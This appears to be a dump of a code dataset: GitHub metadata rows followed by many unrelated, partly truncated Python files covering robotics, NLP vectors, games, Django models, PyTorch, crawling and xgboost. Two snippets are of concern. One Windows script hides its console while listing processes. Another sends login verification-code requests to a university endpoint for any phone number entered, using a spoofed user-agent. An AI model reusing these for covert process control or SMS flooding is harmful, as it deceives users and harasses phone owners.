2020-05-03T19:34:30
261,006,093
1
0
null
null
null
null
UTF-8
Python
false
false
1,475
py
import os import subprocess import time from threading import Thread import ctypes kernel32 = ctypes.WinDLL('kernel32') user32 = ctypes.WinDLL('user32') SW_HIDE = 0 hWnd = kernel32.GetConsoleWindow() def get_tasks(action): list = os.popen('tasklist').read().strip().split('\n') if action == ...
[ "noreply@github.com" ]
noreply@github.com
31016d76561425d939332319e1c3c3f3630350a1
5808f74f1825919da58ae91829ff4516623eb79d
/2020/new_python_concepts/02_floats.py
00d580b96499450bff11db1b8e67cafef9cebf04
[ "MIT" ]
permissive
hygull/stkovrflw
e2d78c8614b8d9646e3458926d71d13dfa75e2d4
f341727c7e42b6e667345f12814ab1f2479f1b89
refs/heads/master
2023-07-19T11:56:45.818534
2022-03-19T18:13:47
2022-03-19T18:13:47
132,311,923
0
1
MIT
2023-07-16T21:27:08
2018-05-06T06:10:14
Python
UTF-8
Python
false
false
254
py
def func(p1: float, p2: float) -> float: print(p1 + p2) # return None """ floats.py:3: error: Incompatible return value type (got "None", expected "float") Found 1 error in 1 file (checked 2 source files) """ return p1 + p2
[ "rishikesh0014051992@gmail.com" ]
rishikesh0014051992@gmail.com
fb940c955be5b66b7cac6e43e4945aa5f53ec126
53deeaa922f10a159bdb6f31f0caed00c5607527
/robotics/individual.py
a261a1cc5f5c208d42f13f841f0e99081bfd31df
[]
no_license
atbarnes/robotics
679b95852953dc4193fc6f343c888e99a139b5cf
4776915559c534977b4ebbb6570cc56ae3c3e44b
refs/heads/master
2020-06-08T00:06:07.407724
2019-06-21T15:45:07
2019-06-21T15:45:07
193,120,833
0
0
null
null
null
null
UTF-8
Python
false
false
5,841
py
import random import pyrosim import math import numpy from robot import ROBOT import constants as c class INDIVIDUAL: def __init__(self, i): self.genome = 2 * numpy.random.random_sample((13, 8)) - 1 self.fitness = 0 self.distanceCar1 = 0 self.distanceCar2 = 0 self.progress1 = 0 self.progress2 = 0 self.ID...
[ "noreply@github.com" ]
noreply@github.com
d741cbbed408cd89eba80b859cd1b82ff07f0c56
5f364b328d0e7df6f292dbbec266995f495b2ed4
/src/python/txtai/vectors/words.py
1cac062ec92c54e5a3ac71630cd7282b202a50b2
[ "Apache-2.0" ]
permissive
binglinchengxiash/txtai
a17553f57ddd857ff39a7d0b38e24930f5c71596
1513eb8390f01848742e67690b6e4bc6452101ee
refs/heads/master
2023-04-03T18:59:35.845281
2021-04-05T22:05:15
2021-04-05T22:05:15
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,715
py
""" Word Vectors module """ import os import pickle import tempfile from errno import ENOENT from multiprocessing import Pool import fasttext import numpy as np from pymagnitude import converter, Magnitude from .base import Vectors from ..pipeline.tokenizer import Tokenizer # Multiprocessing helper methods # pyli...
[ "561939+davidmezzetti@users.noreply.github.com" ]
561939+davidmezzetti@users.noreply.github.com
97bbcc71aed4955b72792b40e69e7770f3c2f305
c097e75cb898d5702d8ea966ec33ec27ca3619aa
/14pythonic/None_1406.py
5a5659f313b2bc8b5e07a90de30ca660a7ae2213
[ "MIT" ]
permissive
FrancisJen/pythonic
2788d23c4244c7fb3a5e182bde083c5f72dfe11f
d26d09a6114b610ae998297756faf96df87b2bea
refs/heads/master
2020-05-09T17:28:42.241939
2019-04-21T14:32:22
2019-04-21T14:32:22
181,311,186
1
0
null
null
null
null
UTF-8
Python
false
false
156
py
# 14-6 None # [] # '' # False # None # 是四种type,而且value也不同 # 如何进行判空, 不用用None来进行判空 # if a: # if not a:
[ "renyiguang@gclsi.com" ]
renyiguang@gclsi.com
33a0d657f9629c3131a0277e8a8ccea77f4364b4
c7a6c8b8c8a0bb5e7d5dc99a79dd205e6807f990
/pythonteste/Aula21.2.py
f4b33cdd55c783d95efa68abba847451e49e1c76
[ "MIT" ]
permissive
RodrigoPasini/PYTHON
eaf487f0a86e0d1bf9aadcb4c38036a6c97ba4fb
e114390091fedb03bf25a56a671da6186d6bfcae
refs/heads/main
2023-02-23T20:28:29.057750
2021-01-22T14:11:35
2021-01-22T14:11:35
319,797,371
0
0
null
null
null
null
UTF-8
Python
false
false
488
py
'''PARÂMETROS OPCIONAIS''' def somar(a=0,b=0,c=0): s=a+b+c print(f"A soma dos valors {a}+{b}+{c}={s}") somar(3,2,5) somar(8,4) '''ESCOPO DE VARIÁVEIS''' def teste(): x=8 #variável LOCAL print(f"Na função teste, n vale {n}") print(f"Na função teste, x vale {x}") #PROGRAMA PRINCIPAL n=2 #variável ...
[ "65973007+RodrigoPasini@users.noreply.github.com" ]
65973007+RodrigoPasini@users.noreply.github.com
cc88bcd411a576530329ec0d2d445d40b10a440f
17bfc5b04b196146a327600e303f891d41fd3fe3
/Untitled-1.py
ae874715daa254eb1a8a404afb879e21416c58b1
[]
no_license
cdhao123/Etong
d654e0b69a097a422b6f5508d9f9f88e324257e8
ea361b537c6cc31292f802178bb574ab5090239b
refs/heads/master
2020-09-07T00:50:36.788878
2019-11-28T05:09:29
2019-11-28T05:09:29
220,607,609
0
0
null
null
null
null
UTF-8
Python
false
false
797
py
import requests from bs4 import BeautifulSoup phone = input('输入你的手机号:') url = 'https://org.xjtu.edu.cn/openplatform/g/admin/sendVeriCodeLogin' headers = { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36' } datas={ 'optionType': "l...
[ "chen-ding-hao@live.com" ]
chen-ding-hao@live.com
21aaa9f77afa9172e31e12bc7830754f2b985e9f
0a34331ec26083bf33940240a8d20ae88a4d16bf
/generate-nums-between.py
cb52e4baab22cc5a66574b57840e6be4339a2df6
[]
no_license
gokul-raghuraman/algorithms
5566eb3c544c781df0ee91ffa74c695242b4852d
64f035690a3ced620ceeac4ccf791d484eb187f6
refs/heads/master
2020-06-05T13:20:54.245258
2015-09-08T16:49:38
2015-09-08T16:49:38
40,319,829
0
0
null
null
null
null
UTF-8
Python
false
false
406
py
def generateNums(a, b): nums = [] if a > b: return nums cur = a while not cur == b: cur = getNext(cur, b) nums.append(cur) return nums def getNext(a, b): lastA = a[-1] lastB = b[-1] if lastA < lastB: next = a[:-1] + str(int(a[-1])+1) elif lastA == lastB: next = getNext(a[:-1], b[:-1]) + "0" retur...
[ "gokul-raghuraman@users.noreply.github.com" ]
gokul-raghuraman@users.noreply.github.com
17d1e40c434aaf3fc57628e1fe5cf9356c36542a
97724145652ba49c5aacaf66d54a89f71c3f6426
/10-Testing-Exercise/mammal/test/test_mammal.py
f7874ed1536182fc6484460f09845535d717ac08
[]
no_license
l-damyanov/Python-OOP---February-2021
c0d729c99d6af44a55ee7f7a05cf66fb6d69876b
e92417ed38f1b24405973b2027c11201d09ddb83
refs/heads/main
2023-03-31T07:45:09.347412
2021-04-01T20:24:27
2021-04-01T20:24:27
341,599,115
1
0
null
null
null
null
UTF-8
Python
false
false
826
py
import unittest from mammal.project.mammal import Mammal class TestMammal(unittest.TestCase): def setUp(self): self.mammal = Mammal("Test mammal", "predator", "roar") def test_attr_set_up(self): self.assertEqual("Test mammal", self.mammal.name) self.assertEqual("predator", self.mamma...
[ "l_l_damyanov@abv.bg" ]
l_l_damyanov@abv.bg
28dff9bc58c94292cf850bfac9e93e7c6da99ada
39f46bf07ff092e081ba46e071232d2704c66bf4
/examples/Coldfire.py
785138a0df4dcb4caf9082d95b3610b84b78fa3e
[]
no_license
safetydank/Tinbox
42d13ce2a9b2d08dbc289dbbb83fdeccd4605814
5dd6c0321183ac14d14d55533ed4538179916277
refs/heads/master
2016-09-02T02:27:10.433436
2011-02-11T00:39:21
2011-02-11T00:39:21
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,031
py
# by Tom De Smedt def curves(n=40): """ A random path consisting of n curves. """ autoclosepath(False) beginpath(random(WIDTH), random(HEIGHT)) for i in range(n): h1x = random(1000) h1y = random(1000) h2x = random(1000) h2y = random(1000) ...
[ "dan@expandingbrain.com" ]
dan@expandingbrain.com
634789fbe76f33fbc9e25d90697a9dd38e67af8e
e1404a7570973a23ab672d384c5cc7b2170e5e44
/Examples/evaluate_training_data2.py
e5eff87c3d2f4a1e5a160908ddab394cb05416e8
[]
no_license
ianhook/DecisionTree
345d81a46746be51ef16b44ceb372cc28fc4c598
6813c6d548c0c6a58e6a7bde4be1b0b2b1d9f6fa
refs/heads/master
2021-03-13T00:01:47.161137
2014-04-26T08:28:16
2014-04-26T08:28:16
18,945,052
1
0
null
null
null
null
UTF-8
Python
false
false
1,696
py
#!/usr/bin/env python ## evaluate_training_data2.py ## This script is for testing the class discriminatory ## power of the training data contained in the training ## files `training.csv', `training2.csv', and ## `training3.csv'. ## The three training files mentioned above contain two ## Gaussian classes with...
[ "ianhook@gmail.com" ]
ianhook@gmail.com
0ca985045718c453f187d45356b12595f3ed2452
da96cb02799ca5ba56db972e8126ff0379e85780
/client/mahjong_meld.py
9b8068603a6162cb7eb7b3e3b9f0e742a999e1a0
[ "MIT" ]
permissive
m4tx/MahjongAI
fc673af9fda4c3f4c0e4c63c5ac42a371c4b71df
c22bf650cc8ccc2848628aa141d86153ff0e3e24
refs/heads/master
2023-02-19T14:16:53.055508
2021-01-24T22:27:08
2021-01-24T22:27:08
332,565,395
5
1
null
null
null
null
UTF-8
Python
false
false
954
py
# -*- coding: utf-8 -*- from client.mahjong_tile import Tile __author__ = "Jianyang Tang" __email__ = "jian4yang2.tang1@gmail.com" class Meld: CHI = 'chi' PON = 'pon' KAN = 'kan' CHANKAN = 'chankan' NUKI = 'nuki' def __init__(self, type=None, tiles=None, open=True, called=None, from_whom=None...
[ "noreply@github.com" ]
noreply@github.com
5a0e4afc80930890bce308cbbe531e1c645b8356
a173701917c638c3bc217353d572874496498eaf
/gradient.py
9d411e310a50e1992444625500073cc0f9ed876f
[]
no_license
sgstyjy/pydev-test
4f33a59c39a881935f236556d5df8e7ca302d77c
fae7957e3dd91b95079646dd772fcb96a106b779
refs/heads/master
2021-09-05T10:40:15.701214
2018-01-26T14:07:04
2018-01-26T14:07:04
119,026,927
0
0
null
null
null
null
UTF-8
Python
false
false
726
py
''' Created on 26 Jan 2018 @author: Fei Zhang ''' import cv2 import numpy as np from matplotlib import pyplot as plt img = cv2.imread('pic/4_1.jpg',0) laplacian = cv2.Laplacian(img,cv2.CV_64F) sobelx = cv2.Sobel(img,cv2.CV_64F,1,0,ksize=5) sobely = cv2.Sobel(img,cv2.CV_64F,0,1,ksize=5) plt.subplot(2,2,1),plt.imsho...
[ "feizhangchina@gmail.com" ]
feizhangchina@gmail.com
ebe2cab6c246959986a73c527842e1e94a35ff8f
3bdc9855c32ed0a7e1b433f1538f57264ae2e4dd
/Day-4/Hands-on/MultiNetworkExample/analysis.py
93b137cd62e951667ee19c8254a4f8276c5acca8
[]
no_license
SSDS-Croatia/SSDS-2020
b184cef79b38f1973cd04f42063ef7de22585ed8
fd3b18ed36aa33a31c24e45d5562aa7b371eb760
refs/heads/master
2022-12-18T14:35:52.898610
2020-09-23T11:45:14
2020-09-23T11:45:14
279,528,225
4
6
null
2020-09-06T18:41:28
2020-07-14T08:31:35
null
UTF-8
Python
false
false
1,148
py
import numpy as np from scipy import sparse import argparse #Data analysis import pandas as pd import matplotlib.pyplot as plt #Method-specific code from REGAL.alignments import * from RGM.rgm import * from RGM.main import parse_args #Basic visualization def visualize_emb_correlations(emb, emb_method): df = pd...
[ "mheimann@wustl.edu" ]
mheimann@wustl.edu
298a46242f5b324066571b40c38592ffcee7b082
5b46bb368bf269be5d0d5f215d9444cb2a4068ac
/factory.py
44c40b88fc8bcc145ea6c17f4cec69d0031f1cba
[]
no_license
langal/simple_factory
82419002d5b9f719229d0b34f1563deee6670538
7a2255dd48b9354932a72d007997885352dd9756
refs/heads/master
2021-01-15T02:43:14.269796
2020-03-04T23:49:06
2020-03-04T23:49:06
242,852,089
0
0
null
null
null
null
UTF-8
Python
false
false
1,295
py
import importlib """ This is our Factory method to get a "handler" object that the caller can invoke. Other implementations can have no parameters can read the handler name from application configurations like Django.settings. Or it can be a combination. """ def get_handler(name): default_module = 'rent' na...
[ "alex.lang@gmail.com" ]
alex.lang@gmail.com
c6d8ef4755005409a9428f4620b5e8097409dc19
c06f40b11119c9005df5ab9e1353897604a7ca23
/bin/explode.py
93fff1ab13af4301e764406ebe0499ec51afc713
[]
no_license
Drew81/Abc-Data
d98320299a5d127ce139732278a45fe771ed1124
b13db677439f446461a32550ec5296d1e1030188
refs/heads/master
2021-05-15T21:45:53.685029
2019-07-12T15:48:00
2019-07-12T15:48:00
106,577,370
0
0
null
null
null
null
UTF-8
Python
false
false
2,499
py
#!/Users/winterz/Desktop/django_pro/StudentChartsdb/StudentChartsdb/bin/python3 # # The Python Imaging Library # $Id$ # # split an animation into a number of frame files # from __future__ import print_function from PIL import Image import os import sys class Interval(object): def __init__(self, interval="0"): ...
[ "winterz@Drews-iMac.home" ]
winterz@Drews-iMac.home
c077ed20d619c387b41e365364c7a08328db5245
2532c66c2ee842fdf5c69b932cf3db3e61944887
/Lab2/Client/clienteTCP_redes2021.py
d4cc695ea61d5cb42299671c7adedc898051d1fa
[]
no_license
facku24/Redes2021FSilberman
11bfd3ec2da025fb85e5766eda4254e408c8b0be
ea063e3e7af4239de16a77d18af34736de3eb9c9
refs/heads/main
2023-06-21T05:06:13.058258
2021-07-11T14:58:43
2021-07-11T14:58:43
372,647,334
0
0
null
null
null
null
UTF-8
Python
false
false
2,590
py
import os from socket import * class Client(): def __init__(self): self.client_address = 'localhost' self.client_port = 14000 self.BUFFER_SIZE = 1024 def create_socket(self, adrss, port) -> socket: client_socket = socket(AF_INET, SOCK_STREAM) client_socket.connect(...
[ "facundo.choque.silberman@itscordoba.com" ]
facundo.choque.silberman@itscordoba.com
e4ca53294f3bb722d6cea8e2f23af4c97b3e01e8
cd781c114deb0ee56fcd8e35df038397ebf8dc09
/Mid Exams/Array Modifier.py
0beeaf038595a84c7b956ebade8230279bf00e54
[]
no_license
GBoshnakov/SoftUni-Fund
4549446c3bb355ff74c14d6071d968bde1886de5
de9318caaf072a82a9be8c3dd4e74212b8edd79e
refs/heads/master
2023-06-06T04:56:14.951452
2021-06-30T21:50:44
2021-06-30T21:50:44
381,817,178
0
0
null
null
null
null
UTF-8
Python
false
false
624
py
numbers = [int(n) for n in input().split()] command = input() while command != "end": command = command.split() action = command[0] if action == "swap": index_1 = int(command[1]) index_2 = int(command[2]) numbers[index_1], numbers[index_2] = numbers[index_2], numbers[index_1] ...
[ "boshnakov.g@gmail.com" ]
boshnakov.g@gmail.com
539edf4356b40d367fa609efaa0288b9426f8fb0
6064fe700c421d47c31eb58bb382209d3eee9b23
/RecommenderSystem/Model/GbdtFFmFit/Predict_Data.py
c4c02e22c0d38286ecf884302152ea081cf39eb0
[]
no_license
1148330040/myML
66cfebf548da087461f7dc13490a1c8b5b46f556
c08a66c1a68d32d4745a1751d59db9c3749e40b1
refs/heads/master
2022-11-01T21:25:16.435012
2022-09-20T03:27:42
2022-09-20T03:27:42
199,110,030
4
1
null
null
null
null
GB18030
Python
false
false
2,807
py
# coding:gbk ''' 此文件的目的 1 获取处理后的新数据 2 利用训练好的模型进行预测 3 返还预测结果 ''' import sys from sqlalchemy import create_engine sys.path.append("C:\\Users\\dell--pc\\Desktop\\RecommenderSystem") sys.path.append("C:\\Users\\dell--pc\\Desktop\\RecommenderSystem\\ProcessingData") sys.path.append("C:\\Users\\dell--pc\...
[ "noreply@github.com" ]
noreply@github.com
09fb919a8e9a3cc5537f93f914945303a8bb671e
8dd916e2655de47b4ea264039564e2dbeba2ece3
/src/utils/deleteFirebaseData.py
1272e3be4c9bd63726558fba40aa9405c24d4b51
[]
no_license
moamenibrahim/cancer-psychosocial-project
f1c817d53b5160b65999761ce067fdd49a8e9c7a
d0208dba2d71cc73eaef3c532b86971834b4741b
refs/heads/master
2023-08-18T03:27:21.135643
2023-08-09T11:57:56
2023-08-09T11:57:56
120,907,736
0
0
null
2023-08-09T11:57:58
2018-02-09T13:16:34
Python
UTF-8
Python
false
false
334
py
""" Development phase script to empty dataset on firebase. """ import pyrebase pyrebase_config = { "apiKey": "", "authDomain": "", "databaseURL": "", "storageBucket": ", "servicAccount": "" } firebase = pyrebase.initialize_app(pyrebase_config) db = firebase.database() # db.child("co-occurrences-a...
[ "noreply@github.com" ]
noreply@github.com
dfeb66ed2d6f08ac8bc9ffdb3d1be09fe63f686e
f406976dc6da185d42f7239bbade3969b375b8a1
/Kaggle/example 1/Xgboost_classifer/xgboost_classifier.py
8cead79e476c24a597f0a3a79deec4d3b641b6ce
[]
no_license
nanzhao/Machine-Learning
785ef305eda44057a3e082c8d7923ae75747a544
5289b0d7ea9f4a50cc6a2081429405cba26058b8
refs/heads/master
2021-04-29T00:05:33.929450
2017-01-22T01:55:31
2017-01-22T01:55:31
77,718,715
0
0
null
null
null
null
UTF-8
Python
false
false
8,622
py
import pandas as pd import numpy as np import xgboost as xgb from xgboost.sklearn import XGBClassifier from sklearn import cross_validation, metrics from sklearn.grid_search import GridSearchCV import matplotlib.pylab as plt from matplotlib.pylab import rcParams rcParams['figure.figsize'] = 12, 4 train = pd.read_csv(...
[ "nan.zhao@outlook.com" ]
nan.zhao@outlook.com
a5f144cda85255c89c8eae8cce97e66577ba1acd
2e26a9fab5581759510b18002f32c7472b5e5991
/Corpus/IndexFilesFr.py
4daf4dfeb240a5f5bbfe2d73f1e5890bc88698a8
[]
no_license
shilpadhagat/InformationRetrievalProject-EnglishtoFrenchQueryTranslation
02f3b514bef6ec3d3171e71c96c1969150dd69f7
fa89d6e7d85b0ce9bdd2116239b512e2a06b3e55
refs/heads/master
2021-01-21T20:11:16.103327
2017-05-23T17:55:32
2017-05-23T17:55:32
92,201,623
0
0
null
null
null
null
UTF-8
Python
false
false
3,689
py
#!/usr/bin/env python INDEX_DIR = "IndexFilesFR.index." import sys, os, lucene, threading, time from datetime import datetime from java.nio.file import Paths from org.apache.lucene.analysis.miscellaneous import LimitTokenCountAnalyzer from org.apache.lucene.analysis.standard import StandardAnalyzer from org.apache.l...
[ "shilpa.dhagat15@gmail.com" ]
shilpa.dhagat15@gmail.com
00f161eb5f05db86e565d105802f85bd8687b657
ceb35c85a8ab0203b3d1b89fa6b6e66ff39bd449
/conf/wsgi.py
857f89e7e5f42d31f61a172d734440212a0a61ed
[]
no_license
kyg3766/django001
8d68754198c33c8dd1c6446bdfbef39dffaa3b7f
fe0ac35cbfbc2ba14fff3af455be33382baf0d19
refs/heads/master
2020-05-21T15:27:31.404706
2019-05-21T08:24:43
2019-05-21T08:24:43
186,091,172
0
0
null
null
null
null
UTF-8
Python
false
false
395
py
""" WSGI config for django001 project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SET...
[ "kyg3765@gmail.com" ]
kyg3765@gmail.com
e1e70937d9a38b13566119952aec8004db6e8e40
286211702e50d6d29ee21dab902ed977e94382be
/pytorch/nn.py
42e924ec23ce32c8bd88fbdd14fdea124a78b7c2
[]
no_license
AustinArrington87/dev_practice
bcda3468a4607a2301ac572ee61d4548f34297df
54796072388ed6e1a40417d5395d8927dea2acfa
refs/heads/master
2021-05-19T08:55:25.407499
2021-01-11T02:07:16
2021-01-11T02:07:16
251,615,278
0
0
null
null
null
null
UTF-8
Python
false
false
2,495
py
# update weights in neural net / # weight = weight*learning_rate * gradient import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim class Net(nn.Module): def __init__(self): super(Net, self).__init__() # 1 input image channel, 6 output channels, 3x3 square...
[ "austinarrington@Austins-MacBook-Pro.local" ]
austinarrington@Austins-MacBook-Pro.local
ea87ce63693c7e88b7432ae72ea94603402ec4c1
11c7f9fb9468239cee3a611a26a3d1023712fd16
/example/forms.py
0afa940254e7f00c5539789167105c41bb3b4f44
[]
no_license
r1s/baseflask
aa519ef21635ed6aa358850ddb77e1475042865b
fcfb1c31673c427819952e4887dd1c8b7effabe4
refs/heads/master
2021-01-22T02:08:17.091653
2014-09-30T11:21:21
2014-09-30T11:21:21
null
0
0
null
null
null
null
UTF-8
Python
false
false
378
py
from flask.ext.wtf import Form from wtforms import StringField, PasswordField, SubmitField from wtforms.validators import DataRequired from flask.ext.babel import gettext as _ class ExampleForm(Form): title = StringField('title', validators=[DataRequired()]) description = PasswordField('description', valida...
[ "roman87.r1s@gmail.com" ]
roman87.r1s@gmail.com
2002fa3d51540a011e0f86e28df864baf19415c5
c4e77254221663ac63f3398241c57db8bee384f9
/connect42 copy.py
e8912adeaf7d6d9dee5fb2d86f2e9d7326eee72e
[ "MIT" ]
permissive
yijiehuang0/connect4AI
dc7801bbb11bfe73c6dd851f6123b20a73284767
5a134ded8009fd51210a96ba2169920bf1b19aa8
refs/heads/master
2020-07-16T10:29:44.982273
2019-09-02T04:05:32
2019-09-02T04:05:32
205,771,719
0
0
null
null
null
null
UTF-8
Python
false
false
3,952
py
import numpy as np import pygame import sys import math ROW_COUNT = 6 COLUMN_COUNT = 7 BLUE = (0, 0 ,230) BLACK = (0,0,0) RED = (255, 0, 0) YELLOW = (255, 255, 0) def create_board(): board = np.zeros((ROW_COUNT,COLUMN_COUNT)) return board def drop_peice(col, board, row, peice): board[row][col] = peice def is_v...
[ "noreply@github.com" ]
noreply@github.com
7e8eed3e3e234e712b3ae2ebb9a56d9680629cb5
64a955664b82be8ed149d01149b36a8aac626f8e
/chapter5/p5.py
5ed71fd3dd2d87de56d123944936a15d519c8c03
[]
no_license
JoelDavisP/Python-Practice-Book-Solutions
b60371590d8aaecab9de6ccad2bf2efb7a2f90ae
ea298d35e50d3719d5b0b841748abfd0c852cc95
refs/heads/master
2021-07-14T04:52:40.678170
2017-10-18T13:26:50
2017-10-18T13:26:50
105,724,396
0
0
null
null
null
null
UTF-8
Python
false
false
652
py
import os import sys def lines_py(): """It compute the total number of lines of code in all python files (.py extension) in a specified directory recursively. """ dname = sys.argv[1] dpath = os.path.abspath(dname) line_count = 0 for fpath,dnames,fnames in os.walk(dpath): for i i...
[ "joeldavisp17195@gmail.com" ]
joeldavisp17195@gmail.com
744ddd93eafd9e17d9a6f19e8f7f8dce9e306791
a67d25a28df71edbc537de56a32156534b23f12d
/src/main.py
9994360e0fb58cbe7ec630d197cd0bf48ad845c9
[ "MIT" ]
permissive
deviantdear/Python_Webscraper
0f90c5bb963c7af1e778f11a7447664d5c9e1c32
0dec8c673dbeac7f243d39834dd1fdd50cffd61c
refs/heads/master
2020-04-08T10:43:49.212171
2018-12-03T18:40:19
2018-12-03T18:40:19
159,280,018
0
0
MIT
2018-12-03T18:40:20
2018-11-27T05:18:40
null
UTF-8
Python
false
false
1,051
py
import threading from queue import Queue from spider import Spider from domain import * from webscraper import * PROJECT_NAME = 'thesite' HOMEPAGE = 'http://manonthemoonstudio.com' DOMAIN_NAME = get_domain_name(HOMEPAGE) QUEUE_FILE = PROJECT_NAME + '/queue.txt' CRAWLED_FILE = PROJECT_NAME + '/crawled.txt' NUMBER_OF_TH...
[ "deviantdear@gmail.com" ]
deviantdear@gmail.com
18358b4bfeee8c7fb31e081a3851426236e2cb81
d842ef7b24e73abfb979f851a41d671013fbc90e
/chode_or_not/manage.py
bc42b278aa48989330dcc9ba11e0b0559dacaf09
[]
no_license
2121159i/Chode-Or-Not-Prototype
2803183626adcd2cdf136affa09f6697c1fdbe5e
39871d1676370d443d87738f089bf9554b352002
refs/heads/master
2020-04-06T05:02:51.406612
2016-07-17T22:42:55
2016-07-17T22:42:55
56,404,178
0
0
null
null
null
null
UTF-8
Python
false
false
255
py
#!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "chode_or_not.settings") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv)
[ "airikov95@gmail.com" ]
airikov95@gmail.com
2372f2175929e510edb3aa5c5b0f4d948aceeaca
0f2c9b00bb38888037dc258dedf3c74a713e2954
/catalog/models.py
9dd76a30b972df6776551c10388c7e00697da32b
[]
no_license
MaxonKush/VS
e1426523899e3d587ee20d3845b3a0203c18fb67
1bb6224f0eca088812dbd8ee5396732363942c35
refs/heads/master
2023-03-08T11:59:38.705068
2020-12-06T22:44:15
2020-12-06T22:44:15
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,021
py
from django.db import models from django.core.exceptions import ValidationError from django.urls import reverse def validate_even(value): if value <= 0: raise ValidationError('%s Введите корректное значение' % value) class Auto(models.Model): TRANSMISSION = ( ('АКПП', 'АКПП'), ('МКП...
[ "maksimkushnerov@yandex.by" ]
maksimkushnerov@yandex.by